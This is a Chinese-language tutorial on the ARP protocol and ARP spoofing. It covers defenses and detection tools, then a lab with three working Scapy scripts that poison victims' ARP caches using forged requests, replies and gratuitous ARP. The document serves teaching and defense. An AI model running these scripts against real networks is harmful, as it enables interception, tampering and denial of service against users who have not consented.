一、ARP 协议基础

ARP(Address Resolution Protocol,地址解析协议)是一个用于将网络层地址(例如 IP 地址)解析为链路层地址(例如 MAC 地址)的协议。它是互联网协议套件的一部分,定义在 RFC 826 中。

1.1 ARP 的工作原理

1. 基本概念

  • IP 地址: 逻辑地址,用于标识网络层设备,通常是 IPv4 地址(例如 192.168.1.1)。
  • MAC 地址: 物理地址,用于标识链路层设备,是网卡的硬件地址(例如 00:1A:2B:3C:4D:5E)。

2. ARP 请求与响应

  • ARP 请求: 当一台主机需要与另一台主机通信时,需要知道目标主机的 MAC 地址。如果主机仅知道目标主机的 IP 地址,则发送一个 ARP 请求。

    • 广播请求:源主机发送一个包含目标主机 IP 地址的 ARP 请求到局域网的所有设备(MAC 地址为 FF:FF:FF:FF:FF)。
    • 请求内容:ARP 请求包含发送方的 IP 和 MAC 地址,以及目标的 IP 地址。
  • ARP 响应: 拥有目标 IP 地址的主机接收到 ARP 请求后,发送一个 ARP 响应。

    • 单播响应:响应包只发送给请求方。
    • 响应内容:ARP 响应包含目标主机的 MAC 地址,发送给请求方。

3. ARP 缓存

每个主机维护一个 ARP 缓存,存储 IP 地址与 MAC 地址的对应关系。缓存可以减少网络上的 ARP 请求数量。

1.2 ARP 报文格式

ARP 报文由以下字段组成:

  1. 硬件类型(Hardware Type): 指定硬件类型,例如以太网为 1。
  2. 协议类型(Protocol Type): 指定协议类型,例如 IPv4 为 0x0800。
  3. 硬件地址长度(Hardware Address Length): MAC 地址长度,通常为 6。
  4. 协议地址长度(Protocol Address Length): IP 地址长度,通常为 4。
  5. 操作码(Opcode): 指示操作类型,例如 1 表示 ARP 请求,2 表示 ARP 响应。
  6. 发送方硬件地址(Sender Hardware Address): 请求或响应发送者的 MAC 地址。
  7. 发送方协议地址(Sender Protocol Address): 请求或响应发送者的 IP 地址。
  8. 目标硬件地址(Target Hardware Address): 目标设备的 MAC 地址(在请求中为 0)。
  9. 目标协议地址(Target Protocol Address): 目标设备的 IP 地址。

1.3 ARP 的应用

  • 局域网内通信: 主机在局域网内与其他主机通信时,使用 ARP 解析目标主机的 MAC 地址。
  • 路由器: 路由器在转发数据包时,也需要使用 ARP 解析下一跳的 MAC 地址。 

二、ARP 欺骗

ARP 欺骗(ARP Spoofing),也称为 ARP 中毒(ARP Poisoning),是一种网络攻击技术,攻击者通过发送伪造的 ARP 报文,使网络中的其他主机将错误的 MAC 地址与某个 IP 地址关联,从而达到拦截、篡改或中断通信的目的。

2.1 ARP 欺骗的工作原理

  1. 伪造 ARP 响应: 攻击者向局域网中的目标主机发送伪造的 ARP 响应包,即使目标主机没有发出 ARP 请求。这些响应包将攻击者的 MAC 地址与目标主机要通信的 IP 地址绑定。
  2. 更新 ARP 缓存: 目标主机接收到伪造的 ARP 响应后,会更新其 ARP 缓存,将攻击者的 MAC 地址与合法的 IP 地址绑定。
  3. 流量重定向: 此后,目标主机发送到这个 IP 地址的所有数据包都将被重定向到攻击者的设备。

2.2 ARP 欺骗的具体步骤

假设网络中有主机 A 和主机 B,攻击者想要对它们进行 ARP 欺骗。

  1. 发送伪造的 ARP 响应:

    • 攻击者向主机 A 发送一个伪造的 ARP 响应,将 B 的 IP 地址(如 192.168.1.2)映射到攻击者的 MAC 地址。
    • 同时,攻击者向主机 B 发送一个伪造的 ARP 响应,将 A 的 IP 地址(如 192.168.1.1)映射到攻击者的 MAC 地址。
  2. 更新 ARP 缓存:

    • 主机 A 和主机 B 更新各自的 ARP 缓存,使其 IP 地址与攻击者的 MAC 地址绑定。
  3. 中间人攻击(Man-in-the-Middle, MITM):

    • 现在,主机 A 和主机 B 的流量都会通过攻击者的设备。
    • 攻击者可以选择将数据包转发给实际的目的主机,或者进行拦截和篡改。

2.3 ARP 欺骗的危害

  • 数据拦截: 攻击者可以拦截并读取网络中的数据流量,包括敏感信息,如用户名、密码、银行账户信息等。
  • 数据篡改: 攻击者可以修改传输中的数据包,插入恶意代码或更改通信内容。
  • 拒绝服务(DoS)攻击: 攻击者可以阻断目标主机的网络连接,使其无法与其他主机通信。
  • 网络混乱: ARP 缓存被篡改后,网络中的通信会出现混乱,导致网络性能下降甚至瘫痪。

2.4 防御 ARP 欺骗的措施

  1. 静态 ARP 表:

    • 手动配置静态 ARP 表,将 IP 地址与 MAC 地址固定映射,不接受动态 ARP 响应更新。
    • 缺点是维护静态 ARP 表较为复杂,尤其在大规模网络中。
  2. ARP 检测(ARP Inspection):

    • 使用动态 ARP 检测工具(如 DAI, Dynamic ARP Inspection),在交换机或路由器上监控并过滤不可信的 ARP 报文。
    • 交换机会检查每个 ARP 响应包的合法性,仅允许合法的 ARP 响应包通过。
  3. IP-MAC 绑定:

    • 在交换机或路由器上绑定 IP 地址与 MAC 地址,确保只有合法的设备可以使用特定的 IP 地址。
    • 当发现不匹配的 IP-MAC 组合时,交换机会拒绝数据包。
  4. 加密通信:

    • 使用加密协议(如 HTTPS、SSH、VPN 等)保护数据传输,即使攻击者拦截到数据包,也无法读取或篡改其中的内容。
  5. 安全软件和工具:

    • 部署网络防火墙、防病毒软件和入侵检测系统(IDS),监控和防止 ARP 欺骗攻击。
    • 使用专门的网络安全工具,如 arpwatch,监控网络中的 ARP 活动,发现异常后及时报警。

2.5 检测 ARP 欺骗的工具

  1. arping:

    • arping 是一个命令行工具,可以发送 ARP 请求并接收响应,帮助检测和诊断 ARP 问题。
  2. arpwatch:

    • arpwatch 监控网络中的 ARP 报文,记录每个 MAC 地址和 IP 地址的变化,发现异常后发送报警通知。
  3. Wireshark:

    • Wireshark 是一个强大的网络协议分析工具,可以捕获和分析网络流量,帮助发现和诊断 ARP 欺骗攻击。

2.6 小结

ARP 欺骗是一种常见且危险的网络攻击技术,通过伪造 ARP 报文,使网络中的设备将错误的 MAC 地址与 IP 地址绑定,从而拦截或篡改通信流量。尽管 ARP 协议本身缺乏安全性,但通过采取适当的防御措施,可以有效预防和检测 ARP 欺骗攻击,保护网络的安全性。

三、安装 Scapy 库

3.1 Windows

pip install scapy

3.2 Linux

git clone https://github.com/secdev/scapy
cd scapy
./run_scapy 

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:

  • hwtype:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。

  • ptype:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。

  • hwlen:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。

  • plen:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。

  • op:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。

  • hwsrc:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • psrc:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

  • hwdst:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • pdst:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

小王:CentOS 9

张三:Red Hat 9

攻击者:Kail

五、攻击方式一:伪造 ARP 请求包

通过攻击者小王发送伪造 ARP 请求数据包,使小王的本地 ARP 缓存表中添加一条记录:将张三的IP地址映射到攻击者的 MAC 地址

攻击者发起攻击:

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 目标的 IP 地址
Target_IP = "192.168.134.132"

# 伪造的 IP 地址
Forgery_IP = "192.168.134.131"

# 本机的 MAC 地址
My_MAC = "00:0c:29:b2:d6:43"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的源 MAC 地址
E.src = My_MAC

# 创建一个ARP(Address Resolution Protocol)对象
A = ARP()

# 设置ARP报文的操作码为 1,表示请求包
A.op = 1

# 设置ARP报文的源 MAC 地址
A.hwsrc = My_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP

# 设置 ARP 报文的目标 IP 地址
A.pdst = Target_IP

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击效果:小王的 ARP 缓存表中出现了张三的 IP 地址并且映射到了攻击者的 MAC 地址。同时也添加了攻击者的映射记录 

六、攻击方法二:伪造 ARP 响应包

通过攻击者张三发送伪造 ARP 响应数据包,使张三的本地 ARP 缓存表中更新一条记录:将小王的 IP 地址映射到攻击者的 MAC 地址

值得注意的是,此时张三的 ARP 缓存表仍处于初始状态,其中并不包含小王的 IP 地址对应的映射记录,而且由于 ARP 响应报文只能更新不能添加记录,因此 ARP 响应数据包并不会在张三的 ARP 缓存表中添加小王对应的记录

因此需要张三 Ping 通小王

这样张三的 ARP 缓存表中就包含 小王 的 IP 地址对应的映射记录: 

攻击者发起攻击:

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 目标的 MAC 地址
Target_MAC = "00:0c:29:cf:1f:f2"

# 伪造的 IP 地址
Forgery_IP = "192.168.134.132"

# 伪造的 MAC 地址
Forgery_MAC = "00:0c:29:b2:d6:43"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的目标 MAC 地址
E.dst = Target_MAC

# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC

# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()

# 设置 ARP 报文的操作码为 2,表示响应包
A.op = 2

# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP

# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Target_MAC

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击成功!

攻击效果:张三的 ARP 缓存表中小王的 IP 地址映射到了攻击者的 MAC 地址

七、攻击方式三:伪造免费 ARP 包 

通过攻击者向网络中其它主机发送伪造免费 ARP 数据包,使张三小王的本地 ARP 缓存表中更新一条记录:将攻击者的 IP 地址映射的 MAC 地址更新为:aa:bb:cc:dd:ee:ff 

注意:免费 ARP 报文只能更新不能添加记录,所以与 ARP 响应包一样先有缓存记录 

前提:张三小王都先 Ping 通攻击者

攻击者发起攻击: 

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 本地的 IP 地址
My_IP = "192.168.134.130"

# 广播地址,向所有主机发送数据包
Broadcast_MAC = "ff:ff:ff:ff:ff:ff"

# 伪造的 MAC 地址
Forgery_MAC = "aa:bb:cc:dd:ee:ff"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的目标 MAC 地址
E.dst = Broadcast_MAC

# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC

# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()

# 设置 ARP 报文的操作码为 1
A.op = 1

# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = My_IP

# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Broadcast_MAC

# 设置 ARP 报文的目标 IP 地址
A.pdst = My_IP

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E/A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐